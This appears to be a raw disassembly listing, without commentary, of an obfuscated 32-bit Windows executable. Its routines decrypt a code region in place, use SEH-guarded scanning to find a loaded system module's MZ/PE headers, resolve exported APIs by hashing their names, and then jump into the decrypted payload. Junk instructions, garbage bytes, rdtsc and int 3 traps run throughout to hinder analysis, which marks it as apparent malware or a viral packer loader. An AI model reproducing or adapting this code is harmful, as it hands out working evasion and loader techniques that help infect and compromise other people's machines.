		dd 0E000000h, 5BF0h, 0E5000000h, 77DDEDh, 0F6000000h, 0BC005DFFh
		dd 36FFFF2Bh, 21005EDBh, 0BD212121h, 0BC59A0h, 2 dup(0)
		dd 6A000000h, 0FFA25Bh,	0E9000000h, 26h, 0
		dd 0E8000000h, 0B300h, 0
		dd 5000000h, 0A50A2801h, 0FE6BD0h, 3 dup(0)
		dd 0E9000000h, 1C8h, 8 dup(0)
		dd 94000000h, 0EBh, 8 dup(0)
		dd 24000000h, 242424h, 18000000h, 5CEAh, 0D1000000h, 7
		dd 2 dup(0)
		dd 0E7000000h, 1177DDEBh, 0FFEC58h, 4 dup(0)
		dd 18000000h, 7C90EEh, 1000000h, 36000000h, 5BF0h, 5 dup(0)
		dd 27000000h, 20000A9h,	0
		dd 0CB000000h, 6115h, 0
		dd 0FF000000h, 49FFFFFFh, 0BCA58Dh, 0Ah	dup(0)
		dd 0F000000h, 0FFA025h,	0
		dd 51000000h, 7A00B38Eh, 5CBAh,	2Ch dup(0)
		dd 14000000h, 8FBB79h, 0Ah dup(0)
		dd 94000000h, 0A07C90EBh, 0CF000000h, 56h, 13000000h, 0B902h
		dd 0DE000000h, 0B049D82Ah, 5BA7h, 0C0000000h, 8A005BF1h
		dd 5C44h, 6 dup(0)
		dd 0B7000000h, 5FB1h, 0
		dd 0F0000000h, 9477DD6Bh, 0F21FEBh, 0
		dd 0FE005130h, 0BD7CDFEFh, 0BC59A0h, 1Ch dup(0)
		dd 0B4000000h, 0B001426Ch, 7AB668h, 19h	dup(0)
		dd 60000000h, 12FFh, 4 dup(0)
		dd 5D000000h, 92005FECh, 5D70h,	2 dup(0)
		dd 0FE000000h, 0BB0Ah, 11h dup(0)
		dd 0DC000000h, 60FFFFA2h, 8D6241h, 0
		dd 92000000h, 5B6Dh, 0
		dd 0BD000000h, 2A6D2Bh,	2 dup(0)
		dd 94000000h, 7C90EBh, 0
		dd 36000000h, 80h, 5 dup(0)
		dd 52000000h, 0FF44FEh,	0
		dd 0A7000000h, 8B3B6Ah,	9 dup(0)
		dd 47000000h, 0DCh, 0
		dd 0E3000000h, 5868h, 3	dup(0)
		dd 0A1000000h, 0B3AAh, 6 dup(0)
		dd 13000000h, 5D1Bh, 10h dup(0)
		dd 23000000h, 5C00h, 9C000000h,	7C9062h, 2 dup(0)
		dd 1120h, 5 dup(0)
		dd 1A000000h, 1C0061DAh, 0B31Ah, 0
		dd 0DF000000h, 0BFA9C530h, 5C75h, 0
		dd 40000000h, 0B31Ah, 0
		dd 0BA000000h, 0F86F3Dh, 8 dup(0)
		dd 0F000000h, 0B318h, 4	dup(0)
		dd 3F000000h, 1D390Ah, 0F6000000h, 5DBBh, 49000000h, 0BCA58Dh
		dd 4 dup(0)
		dd 94000000h, 7C90EBh, 7FFDA0h,	6 dup(0)
		dd 69000000h, 0B91Eh, 18000000h, 7C90EEh, 7 dup(0)
		dd 0F6000000h, 113E4Bh,	94000000h, 7C90EBh, 18000000h
		dd 12E50EBFh, 0EF0742h,	0
		dd 0CC000000h, 0FFFF8Bh, 0Fh dup(0)
		dd 94000000h, 7C90EBh, 0
		dd 22000000h, 5C64h, 0
		dd 1B000000h, 5852h, 0
		dd 0CF000000h, 0B3A8h, 7 dup(0)
		dd 44000000h, 5CD9h, 0B0000000h, 9400006Eh, 7C90EBh, 0
		dd 0FE000000h, 0BB0Ah, 4 dup(0)
		dd 23000000h, 93005C00h, 34F6B1h, 0
		dd 93000000h, 585Bh, 0
		dd 90000000h, 3C000000h, 0B4ECE2h, 0
		dd 7F000000h, 84BFB7h, 6 dup(0)
		dd 7000000h, 0DE99EEh, 22000000h, 22222222h, 222222h, 42000000h
		dd 7C9033h, 16h	dup(0)
		dd 27000000h, 125Bh, 3 dup(0)
		dd 46000000h, 0CB005F4Dh, 0E8006115h, 529AB2h, 9A000000h
		dd 3AFh, 83h dup(0)
		dd 80000000h, 50000002h, 0E9FDCB00h, 20Eh, 77000000h, 167C810Ah
		dd 90ABDAFAh, 76F212h, 0
		dd 1E000000h, 0D000008Ch, 8FFEA420h, 0B8FFA271h, 60ECh
		dd 2 dup(0)
		dd 0B0000000h, 184FFh, 3 dup(0)
		dd 77DD00h, 4 dup(0)
		dd 0E3000000h, 9C005868h, 0FFFF9Eh, 0Ah	dup(0)
		dd 2D000000h, 0AD764Bh,	5 dup(0)
		dd 1B000000h, 77DFC4h, 52000000h, 0EFF99Bh, 2 dup(0)
		dd 26E00h, 4 dup(0)
		dd 5A000000h, 77DDEEh, 0CA000000h, 10B798h, 5 dup(0)
		dd 0DF000000h, 0DABCB6D3h, 7C81CDh, 2 dup(0)
		dd 0DF000000h, 8C000030h, 0E005C98h, 1B7C8018h,	5846h
		dd 5 dup(0)
		dd 1000000h, 3 dup(0)
		dd 0E9000000h, 145h, 2 dup(0)
		dd 18000000h, 7C90EEh
		db 3 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_587353:				; CODE XREF: start:loc_583DBAj
		mov	eax, ebp
		mov	edx, esp
		pusha
		call	$+5
		pop	ebp
		sub	ebp, 7E935A3h
		mov	[ebp+7E90C71h],	edx
		mov	[ebp+7E92F75h],	esi
		mov	[ebp+7E90BA1h],	eax
		cmp	dword ptr [ebp+7E91DBDh], 0
		jz	short loc_58738B
		mov	ebp, eax
		mov	esp, edx
		mov	eax, 1
		retn	0Ch
; ---------------------------------------------------------------------------


loc_58738B:				; CODE XREF: start+72369j
		mov	eax, [esp+40h+var_1C]
		mov	[ebp+7E909C5h],	eax
		push	45h
		call	sub_58743F
		push	783749Ah
		call	sub_587485
		push	0A894B25h
		call	sub_587485
		jmp	loc_5875C9
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		db 45h,	46h, 47h
		dd 4B4A4948h, 4F4E4D4Ch, 53525150h, 57565554h, 5B5A5958h
		dd 5F5E5D5Ch, 63626160h, 67666564h, 6B6A6968h, 6F6E6D6Ch
		dd 73727170h, 77767574h, 7B7A7978h, 7F7E7D7Ch, 83828180h
		dd 87868584h, 8B8A8988h, 8F8E8D8Ch, 93929190h, 97969594h
		dd 9B9A9998h, 9F9E9D9Ch, 0A3A2A1A0h, 0A7A6A5A4h, 0ABAAA9A8h
		dd 0AFAEADACh, 0B3B2B1B0h, 0B7B6B5B4h, 0BBBAB9B8h, 0BFBEBDBCh
		dd 0C3C2C1C0h, 2 dup(0)
		db 3 dup(0)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_58743F	proc near		; CODE XREF: start+72383p

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFD8h
		pusha
		call	$+5
		pop	edx
		sub	edx, 7E93691h
		mov	ebx, edx
		mov	[ebp+var_28], 0


loc_58745B:				; CODE XREF: sub_58743F+39j
		mov	eax, [ebp+var_28]
		inc	eax
		mov	[ebp+var_28], eax
		cmp	[ebp+var_28], 80h
		jz	short loc_58747A
		mov	eax, [ebp+arg_0]
		mov	[ebx+7E935FBh],	eax
		inc	[ebp+arg_0]
		inc	ebx
		jmp	short loc_58745B
; ---------------------------------------------------------------------------


loc_58747A:				; CODE XREF: sub_58743F+2Aj
		mov	[ebp+var_24], eax
		popa
		mov	eax, [ebp+var_24]
		leave
		retn	4
sub_58743F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_587485	proc near		; CODE XREF: start+7238Dp start+72397p

var_84		= dword	ptr -84h
var_80		= byte ptr -80h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFF7Ch
		pusha
		call	$+5
		pop	edx
		sub	edx, 7E936DAh
		lea	eax, [ebp+var_80]
		mov	ebx, [ebp+arg_0]
		mov	[ebp+var_84], 0


loc_5874AB:				; CODE XREF: sub_587485+41j
		mov	ecx, [ebp+var_84]
		rol	ebx, 1
		mov	[eax], bl
		inc	ecx
		mov	[ebp+var_84], ecx
		cmp	[ebp+var_84], 80h
		jnz	short loc_5874AB
		mov	[ebp+var_84], 0
		lea	edi, [edx+7E935FBh]
		lea	esi, [ebp+var_80]


loc_5874DB:				; CODE XREF: sub_587485+83j
		mov	cl, [esi]
		mov	ebx, 1F4h
		mov	eax, 785437ABh


loc_5874E7:				; CODE XREF: sub_587485+69j
		rcl	eax, cl
		mov	cl, [edi]
		rcl	eax, cl
		dec	ebx
		jnz	short loc_5874E7
		imul	eax, ebx
		inc	edi
		inc	esi
		mov	ecx, [ebp+var_84]
		inc	ecx
		mov	[ebp+var_84], ecx
		cmp	ecx, 80h
		jnz	short loc_5874DB
		popa
		leave
		retn	4
sub_587485	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF0h
		mov	esi, [ebp+8]
		mov	dword ptr [ebp-4], 0
		jmp	short loc_587525
; ---------------------------------------------------------------------------


loc_587521:				; CODE XREF: sdfs____:00587528j
		inc	dword ptr [ebp-4]
		inc	esi


loc_587525:				; CODE XREF: sdfs____:0058751Fj
		cmp	byte ptr [esi],	0
		jnz	short loc_587521
		mov	edx, 0
		mov	esi, [ebp+8]
		mov	edi, [ebp+0Ch]
		jmp	short loc_5875B6
; ---------------------------------------------------------------------------


loc_587537:				; CODE XREF: sdfs____:005875B9j
		mov	dword ptr [ebp-8], 0
		jmp	short loc_5875AD
; ---------------------------------------------------------------------------


loc_587540:				; CODE XREF: sdfs____:005875B1j
		mov	dword ptr [ebp-10h], 0
		mov	dword ptr [ebp-0Ch], 0
		jmp	short loc_58759A
; ---------------------------------------------------------------------------


loc_587550:				; CODE XREF: sdfs____:0058759Ej
		shl	dword ptr [ebp-10h], 4
		mov	eax, [ebp-8]
		shl	eax, 1
		add	eax, edx
		add	eax, [ebp-0Ch]
		xor	ebx, ebx
		mov	bl, [eax+esi]
		cmp	bl, 30h
		jb	short loc_587572
		cmp	bl, 39h
		ja	short loc_587572
		sub	bl, 30h
		jmp	short loc_587594
; ---------------------------------------------------------------------------


loc_587572:				; CODE XREF: sdfs____:00587566j
					; sdfs____:0058756Bj
		cmp	bl, 61h
		jb	short loc_587584
		cmp	bl, 66h
		ja	short loc_587584
		sub	bl, 61h
		add	bl, 0Ah
		jmp	short loc_587594
; ---------------------------------------------------------------------------


loc_587584:				; CODE XREF: sdfs____:00587575j
					; sdfs____:0058757Aj
		cmp	bl, 41h
		jb	short loc_587594
		cmp	bl, 46h
		ja	short loc_587594
		sub	bl, 41h
		add	bl, 0Ah


loc_587594:				; CODE XREF: sdfs____:00587570j
					; sdfs____:00587582j ...
		add	[ebp-10h], ebx
		inc	dword ptr [ebp-0Ch]


loc_58759A:				; CODE XREF: sdfs____:0058754Ej
		cmp	dword ptr [ebp-0Ch], 2
		jb	short loc_587550
		cmp	dword ptr [ebp-10h], 0
		jbe	short loc_5875AA
		mov	eax, [ebp-10h]
		stosb


loc_5875AA:				; CODE XREF: sdfs____:005875A4j
		inc	dword ptr [ebp-8]


loc_5875AD:				; CODE XREF: sdfs____:0058753Ej
		cmp	dword ptr [ebp-8], 2
		jb	short loc_587540
		add	edx, 4


loc_5875B6:				; CODE XREF: sdfs____:00587535j
		cmp	edx, [ebp-4]
		jb	loc_587537
		mov	al, 0
		stosb
		mov	eax, [ebp-4]
		leave
		retn	8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_5875C9:				; CODE XREF: start+7239Cj
		mov	ecx, 7000h
		lea	edi, [ebp+7E93820h]


loc_5875D4:				; CODE XREF: start+725C4j
		dec	byte ptr [edi]
		inc	edi
		dec	ecx
		jnz	short loc_5875D4
		mov	eax, 48692121h
		mov	edx, 0F0115000h
		sub	edx, 0F0000000h
		lea	eax, [ebp+7E938F8h]
		push	eax
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		call	$+5
		pop	eax
		mov	bx, 2B21h
		mov	ebx, eax
		push	ecx
		clc
		pop	ebx
		sub	eax, edx
		pusha
		jns	$+6
		push	edx
		mov	di, dx
		pop	edi
		popa
		and	eax, 0FFFFF000h
		and	bh, 62h
		mov	ecx, edx
		xor	edi, edi


loc_587629:				; CODE XREF: start+72630j
		cmp	word ptr [eax],	5A4Dh
		jnz	short loc_58763E
		movzx	edx, word ptr [eax+3Ch]
		add	edx, eax
		cmp	dword ptr [edx], 4550h
		jz	short loc_587646


loc_58763E:				; CODE XREF: start+7261Aj
		sub	eax, 1000h
		inc	edi
		jmp	short loc_587629
; ---------------------------------------------------------------------------


loc_587646:				; CODE XREF: start+72628j
		pop	large dword ptr	fs:0
		add	esp, 4
		lea	edx, [ebp+7E9390Bh]
		push	edx
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		add	eax, ecx
		sub	eax, 1000h
		mov	esi, [eax+4]
		and	esi, 0FFFF0000h
		cmp	esi, 80000000h
		jbe	short loc_587680
		mov	esi, [eax+1Ch]


loc_587680:				; CODE XREF: start+72667j
		xor	eax, eax


loc_587682:				; CODE XREF: start+72681j
		cmp	eax, 32h
		jz	short loc_5876A6
		cmp	word ptr [esi],	5A4Dh
		jz	short loc_587697


loc_58768E:				; CODE XREF: start+72690j
		sub	esi, 10000h
		inc	eax
		jmp	short loc_587682
; ---------------------------------------------------------------------------


loc_587697:				; CODE XREF: start+72678j
		mov	edi, [esi+3Ch]
		add	edi, esi
		cmp	dword ptr [edi], 4550h
		jz	short loc_5876E8
		jmp	short loc_58768E
; ---------------------------------------------------------------------------


loc_5876A6:				; CODE XREF: start+72671j
		pop	large dword ptr	fs:0
		add	esp, 4
		popa
		retn
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		push	ecx
		mov	ecx, [esp+10h]
		sub	dword ptr [ecx+0B0h], 1000h
		pop	ecx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		push	ecx
		mov	ecx, [esp+10h]
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 7E93916h
		lea	eax, [ebp+7E938D4h]
		mov	[ecx+0B8h], eax
		pop	ebp
		pop	ecx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_5876E8:				; CODE XREF: start+7268Ej
		xchg	eax, esi
		pop	large dword ptr	fs:0
		add	esp, 4
		mov	ebx, 1892A127h
		mov	ebx, edx
		mov	cx, ds
		or	ebx, 2D75B222h
		mov	ebx, 665CDCECh
		and	cl, 4
		jmp	loc_587723
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		dd 1AC215D8h, 0C9873132h, 0A821F2A4h, 53CBDD2Ch
		db 0E7h, 64h, 0A9h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_587723:				; CODE XREF: start+726F7j
		or	cl, cl
		jnz	loc_587764
		jmp	loc_587738
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		dd 87EFA7E3h, 0C681227h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_587738:				; CODE XREF: start+72717j
		mov	dword ptr [ebp+7E91B69h], 1
		jmp	loc_58775B
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		db 29h
		dd 3C2A227Fh, 9B5548FDh, 93BEE265h, 0FE129581h
		db 0BAh, 0F8h, 7Ch
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_58775B:				; CODE XREF: start+7272Ej
		jmp	loc_587770
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		push	edx
		mov	bh, 79h
		pop	ebx
; START	OF FUNCTION CHUNK FOR start


loc_587764:				; CODE XREF: start+72711j
		mov	dword ptr [ebp+7E91B69h], 0
		mov	bl, 88h


loc_587770:				; CODE XREF: start:loc_58775Bj
		mov	[ebp+7E92669h],	eax
		jmp	loc_587783
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		sub	eax, 0C30CAB44h
		fisttp	qword ptr [eax+35h]
; START	OF FUNCTION CHUNK FOR start


loc_587783:				; CODE XREF: start+72762j
		mov	[ebp+7E90B11h],	eax
		call	sub_58779A
		mov	[edi+49A11354h], dh
		jge	short near ptr loc_5877F6+1
		stosb
		dec	eax
		or	[edi], bl
; END OF FUNCTION CHUNK	FOR start

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_58779A	proc near		; CODE XREF: start+72775p
		jmp	sub_5877B0
sub_58779A	endp

; ---------------------------------------------------------------------------
		mov	ch, 0ECh
		adc	cl, [edi-17C338A1h]
		pop	ecx
		int	3		; Trap to Debugger
		retn	3BEBh
; ---------------------------------------------------------------------------
		dd 0B598A60Eh

; =============== S U B	R O U T	I N E =======================================



sub_5877B0	proc near		; CODE XREF: sub_58779Aj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		pop	ebx
		xor	dx, 0F6DFh
		add	ebx, 62DDh
		sbb	ah, 5
		sub	ecx, ecx
		jns	$+6


loc_5877C7:				; CODE XREF: sub_5877B0:loc_587844j
		mov	esi, [ebx+ecx]
		cmc
		sub	esi, 57870CB5h
		sub	esi, 48174078h
		movsx	edi, ax
		add	esi, 4B72AE0Fh
		jmp	loc_5877EB
; ---------------------------------------------------------------------------
		db 0B4h, 0A0h, 74h
		db 0C9h, 3Bh, 44h
; ---------------------------------------------------------------------------


loc_5877EB:				; CODE XREF: sub_5877B0+30j
		push	esi
		pusha
		mov	ecx, ebx
		push	ecx
		stc
		pop	edi
		popa
		pop	dword ptr [ebx+ecx]


loc_5877F6:				; CODE XREF: start+72780j
		mov	dx, 0D569h
		jnp	loc_587802
		mov	al, 0E4h


loc_587802:				; CODE XREF: sub_5877B0+4Aj
		sub	ecx, 58C2F7A1h
		js	loc_587811
		mov	dx, di


loc_587811:				; CODE XREF: sub_5877B0+58j
		add	ecx, 58C2F79Dh
		cmp	ecx, 0FFFF9DE8h
		jnz	loc_58783A
		mov	dl, 86h
		jmp	loc_587857
; ---------------------------------------------------------------------------
		dw 8BB0h
		dd 31433F3Fh, 276309A6h, 2EAB9EBEh
		db 21h,	8Ch
; ---------------------------------------------------------------------------


loc_58783A:				; CODE XREF: sub_5877B0+6Dj
		jmp	loc_587844
; ---------------------------------------------------------------------------
		db 0ADh
		dd 0D003135h
; ---------------------------------------------------------------------------


loc_587844:				; CODE XREF: sub_5877B0:loc_58783Aj
		jmp	loc_5877C7
; ---------------------------------------------------------------------------
		db 4Bh,	0EEh, 4Fh
; ---------------------------------------------------------------------------
		retn	411Ch
; ---------------------------------------------------------------------------
		db 27h
		dd 3C5482FCh
		db 0E7h, 0C7h, 74h
; ---------------------------------------------------------------------------


loc_587857:				; CODE XREF: sub_5877B0+75j
		jmp	short loc_58785D
; ---------------------------------------------------------------------------
		db 1Bh,	2, 0
		db 0
; ---------------------------------------------------------------------------


loc_58785D:				; CODE XREF: sub_5877B0:loc_587857j
		jmp	loc_587ECA
; ---------------------------------------------------------------------------
		jmp	loc_587876
; ---------------------------------------------------------------------------
		db 65h
		dd 4ED9587Bh, 0C91D2473h, 1B0DCCB2h
		db 0Fh,	91h
; ---------------------------------------------------------------------------


loc_587876:				; CODE XREF: sub_5877B0+B2j
		pusha
		mov	[ebp+7E92079h],	eax
		sub	eax, eax
		mov	[ebp+7E91E1Dh],	eax
		mov	edx, [esp+1Ch+arg_8]
		cld
		mov	[ebp+7E90E9Dh],	eax
		jmp	loc_5878A6
; ---------------------------------------------------------------------------
		db 7Ah,	67h, 0B4h
		dd 0D512A2EEh, 76430E8Eh, 2F5C8816h
; ---------------------------------------------------------------------------
		pushf
		das


loc_5878A6:				; CODE XREF: sub_5877B0+E0j
		mov	[ebp+7E90BD1h],	esi
		mov	esi, 3Ch
		mov	[ebp+7E914F1h],	eax
		add	esi, [esp+20h+arg_0]
		jmp	loc_5878C6
; ---------------------------------------------------------------------------
		dd 0C0CB2C0Eh
; ---------------------------------------------------------------------------
		push	ecx
		stc


loc_5878C6:				; CODE XREF: sub_5877B0+10Bj
		lodsw
		pusha
		and	al, 0F6h
		jge	loc_5878D7
		adc	bx, 11CDh


loc_5878D7:				; CODE XREF: sub_5877B0+11Cj
		popa
		or	[ebp+7E91835h],	eax
		add	eax, [esp+24h]
		cmc
		nop
		jle	loc_5878F8
		pusha
		push	eax
		push	edx
		rdtsc
		pop	edx
		pop	eax
		jnz	$+6
		popa


loc_5878F8:				; CODE XREF: sub_5877B0+134j
		push	eax
		jmp	loc_587904
; ---------------------------------------------------------------------------
		dw 3343h
		dd 1242AB92h
; ---------------------------------------------------------------------------


loc_587904:				; CODE XREF: sub_5877B0+149j
		nop
		pusha
		call	loc_587916
		mov	bl, 0D5h
		db	65h
		mov	esp, 6564A3F1h
		aad	87h
		in	eax, dx


loc_587916:				; CODE XREF: sub_5877B0+156p
		pop	edi
		jmp	loc_58792D
; ---------------------------------------------------------------------------
		dd 0FBCA611Dh, 1F91A7C5h, 22499CF1h, 0C8E10984h
; ---------------------------------------------------------------------------
		pop	eax


loc_58792D:				; CODE XREF: sub_5877B0+167j
		popa
		mov	eax, [eax+78h]
		cmc
		add	eax, [esp+20h+arg_4]
		clc
		mov	eax, [eax+18h]
		sub	[ebp+7E922F9h],	edi
		pusha
		mov	[ebp+7E91935h],	edi
		add	esi, 13432DF6h
		popa
		inc	eax
		or	[ebp+7E91191h],	eax
		mov	[ebp+7E93A9Fh],	eax
		xor	[ebp+7E93441h],	ecx
		sub	[ebp+7E91855h],	edi
		pop	eax
		jmp	loc_587977
; ---------------------------------------------------------------------------
		db 8Ch,	57h, 6Fh
		dd 93DB1386h
		db 0ECh, 0D0h, 6Eh
; ---------------------------------------------------------------------------


loc_587977:				; CODE XREF: sub_5877B0+1B8j
		mov	esi, [eax+78h]
		pusha
		mov	[ebp+7E90C59h],	edx
		mov	dh, 50h
		popa
		add	esi, 1Ch
		pusha
		mov	[ebp+7E908BDh],	esi
		sub	[ebp+7E92F85h],	edi
		popa
		add	esi, [esp+1Ch+arg_4]
		clc
		lea	edi, [ebp+7E92501h]
		cmc
		lodsd
		stc
		add	eax, [esp+1Ch+arg_4]
		jmp	loc_5879BA
; ---------------------------------------------------------------------------
		pop	eax
		inc	edi
		xchg	eax, ecx
		mov	edi, 0EA87BCB3h
		push	ebp
		test	[eax], ecx
		ror	byte ptr [ecx+48h], cl


loc_5879BA:				; CODE XREF: sub_5877B0+1F7j
		jmp	loc_5879D3
; ---------------------------------------------------------------------------
		db 89h,	0E4h
		db 15h,	0B6h, 6Fh
		dd 0E0F926AFh, 0F3E7F8ABh, 0AED9F8DDh
		db 56h,	9Fh, 0BDh
; ---------------------------------------------------------------------------


loc_5879D3:				; CODE XREF: sub_5877B0:loc_5879BAj
		stosd
		pusha
		xor	ebx, 61DA5EF7h
		add	[ebp+7E921FDh],	edx
		popa
		lea	edi, [ebp+7E90B79h]
		cmc
		lodsd
		jz	loc_5879F6
		sub	[ebp+7E900F1h],	edi


loc_5879F6:				; CODE XREF: sub_5877B0+23Aj
		jb	loc_5879FD
		cmc


loc_5879FD:				; CODE XREF: sub_5877B0:loc_5879F6j
		add	eax, [esp+1Ch+arg_4]
		sub	[ebp+7E90C2Dh],	esi
		nop
		jmp	loc_587A13
; ---------------------------------------------------------------------------
		db 13h,	7Ch, 1Fh
		db 32h,	84h, 99h
; ---------------------------------------------------------------------------


loc_587A13:				; CODE XREF: sub_5877B0+258j
		push	eax
		jz	loc_587A21
		pusha
		pusha
		popa
		mov	di, bx
		popa


loc_587A21:				; CODE XREF: sub_5877B0+264j
		nop
		jmp	loc_587A2E
; ---------------------------------------------------------------------------
		db 70h
		dd 0BD8C3BD1h
; ---------------------------------------------------------------------------
		jmp	dword ptr [edi]
; ---------------------------------------------------------------------------


loc_587A2E:				; CODE XREF: sub_5877B0+272j
		stosd
		jmp	loc_587A42
; ---------------------------------------------------------------------------
		dd 0FCF7712Ah, 0EB421A72h, 8FEF3FBBh
		db 52h,	0A8h
; ---------------------------------------------------------------------------


loc_587A42:				; CODE XREF: sub_5877B0+27Fj
		sub	[ebp+7E91C55h],	ebx
		lea	edi, [ebp+7E915CDh]
		mov	[ebp+7E91849h],	edi
		xor	[ebp+7E91225h],	edx
		lodsd
		stc
		add	eax, [esp+20h+arg_4]
		pusha
		add	[ebp+7E91AB5h],	edx
		mov	[ebp+7E92665h],	edx
		popa
		stosd
		cmc
		pop	esi
		pusha
		add	edi, 31F3D761h
		sub	si, 5A7h
		popa


loc_587A7E:				; CODE XREF: sub_5877B0+35Aj
		dec	dword ptr [ebp+7E93A9Fh]
		cmp	dword ptr [ebp+7E93A9Fh], 0
		jnz	short loc_587A9D
		mov	dword ptr [esp+1Ch], 0
		lea	esi, [ebp+7E93EB4h]
		jmp	esi
; ---------------------------------------------------------------------------


loc_587A9D:				; CODE XREF: sub_5877B0+2DBj
		push	esi
		lodsd
		add	eax, [esp+20h+arg_4]
		xchg	eax, edi
		mov	ebx, edi
		mov	al, [ebp+7E92659h]
		test	al, al
		jz	short loc_587AB4
		cmp	al, [edi]
		jnz	short loc_587B00


loc_587AB4:				; CODE XREF: sub_5877B0+2FEj
		push	edi
		xor	al, al


loc_587AB7:				; CODE XREF: sub_5877B0+308j
		scasb
		jnz	short loc_587AB7
		pop	esi
		sub	edi, ebx
		push	edx
		cld
		xor	ecx, ecx
		dec	ecx
		mov	edx, ecx


loc_587AC4:				; CODE XREF: sub_5877B0+33Dj
		xor	eax, eax
		xor	ebx, ebx
		lodsb
		xor	al, cl
		mov	cl, ch
		mov	ch, dl
		mov	dl, dh
		mov	dh, 8


loc_587AD3:				; CODE XREF: sub_5877B0+336j
		shr	bx, 1
		rcr	ax, 1
		jnb	short loc_587AE4
		xor	ax, 5041h
		xor	bx, 5449h


loc_587AE4:				; CODE XREF: sub_5877B0+329j
		dec	dh
		jnz	short loc_587AD3
		xor	ecx, eax
		xor	edx, ebx
		dec	edi
		jnz	short loc_587AC4
		not	edx
		not	ecx
		mov	eax, edx
		rol	eax, 10h
		mov	ax, cx
		pop	edx
		cmp	edx, eax
		jz	short loc_587B0F


loc_587B00:				; CODE XREF: sub_5877B0+302j
		pop	esi
		add	esi, 4
		inc	dword ptr [ebp+7E90E9Dh]
		jmp	loc_587A7E
; ---------------------------------------------------------------------------


loc_587B0F:				; CODE XREF: sub_5877B0+34Ej
		pop	esi
		jo	loc_587B24
		pusha
		mov	ebx, [ebp+7E91DFDh]
		add	[ebp+7E93439h],	edi
		popa


loc_587B24:				; CODE XREF: sub_5877B0+360j
		clc
		mov	eax, [ebp+7E90E9Dh]
		cmc
		shl	eax, 1
		clc
		add	eax, [ebp+7E915CDh]
		jb	loc_587B3C
		cmc


loc_587B3C:				; CODE XREF: sub_5877B0+385j
		mov	esi, 0
		cmc
		xchg	eax, esi
		clc
		lodsw
		jmp	loc_587B58
; ---------------------------------------------------------------------------
		db 0EEh
		dd 0EAE3A87Eh, 37A3CA39h, 86068638h
; ---------------------------------------------------------------------------


loc_587B58:				; CODE XREF: sub_5877B0+396j
		shl	eax, 2
		mov	[ebp+7E90C95h],	ecx
		xor	[ebp+7E90051h],	esi
		add	eax, [ebp+7E92501h]
		mov	[ebp+7E93221h],	edi
		xchg	eax, esi
		jmp	loc_587B85
; ---------------------------------------------------------------------------
		db 9, 82h, 9Fh
		dd 120C2CC9h, 0BB8E38EFh
		db 0B0h
; ---------------------------------------------------------------------------


loc_587B85:				; CODE XREF: sub_5877B0+3C4j
		lodsd
		cld
		mov	ecx, [esp+1Ch+arg_4]
		jmp	loc_587B95
; ---------------------------------------------------------------------------
		dd 664F3200h
		db 0E0h
; ---------------------------------------------------------------------------


loc_587B95:				; CODE XREF: sub_5877B0+3DBj
		add	eax, [esp+1Ch+arg_4]
		mov	[ebp+7E9247Dh],	edx
		cmc
		mov	[esp+1Ch], eax
		mov	[ebp+7E90B61h],	eax
		xchg	eax, esi
		mov	[ebp+7E91D05h],	edx
		lodsb
		pusha
		jp	loc_587BCF
		jmp	loc_587BCF
; ---------------------------------------------------------------------------
		dw 1CA0h
		dd 0A9B294BFh, 467967B5h, 7434EE6Eh
		db 6Dh,	98h, 0A2h
; ---------------------------------------------------------------------------


loc_587BCF:				; CODE XREF: sub_5877B0+403j
					; sub_5877B0+409j
		clc
		popa
		xor	cl, cl
		clc
		inc	cl
		pusha
		mov	bh, 24h
		xor	esi, [ebp+7E900F1h]
		popa


loc_587BE0:				; CODE XREF: sub_5877B0+477j
		rcl	al, 1
		jnb	loc_587C6E
		cmc
		xor	[ebp+7E9017Dh],	edx
		rcl	al, 1
		jnb	loc_587C6E
		jmp	loc_587C03
; ---------------------------------------------------------------------------
		lds	ebp, [eax+4F764AD0h]
		pop	edx


loc_587C03:				; CODE XREF: sub_5877B0+447j
		rcl	al, 1
		jb	loc_587C6E
		mov	[ebp+7E90C25h],	ebx
		rcl	al, 1
		jb	loc_587C6E
		pusha
		jno	loc_587C22
		push	ecx
		pop	edx


loc_587C22:				; CODE XREF: sub_5877B0+46Aj
		mov	dl, ah
		popa
		dec	cl
		jns	loc_587BE0
		jmp	loc_587C41
; ---------------------------------------------------------------------------
		dw 469h
		dd 6F21A31Ch, 1A71D720h, 0A38FA60Fh
		db 2Ah
; ---------------------------------------------------------------------------


loc_587C41:				; CODE XREF: sub_5877B0+47Dj
		add	esp, 20h
		stc
		mov	[esp-8+arg_0], 0
		stc
		mov	eax, 1
		jmp	loc_587C5F
; ---------------------------------------------------------------------------
		dd 825F24E5h
; ---------------------------------------------------------------------------
		movsd
		or	al, 0B5h


loc_587C5F:				; CODE XREF: sub_5877B0+4A3j
		lea	ecx, [ebp+7E96E15h]
		sub	[ebp+7E92049h],	edi
		jmp	ecx
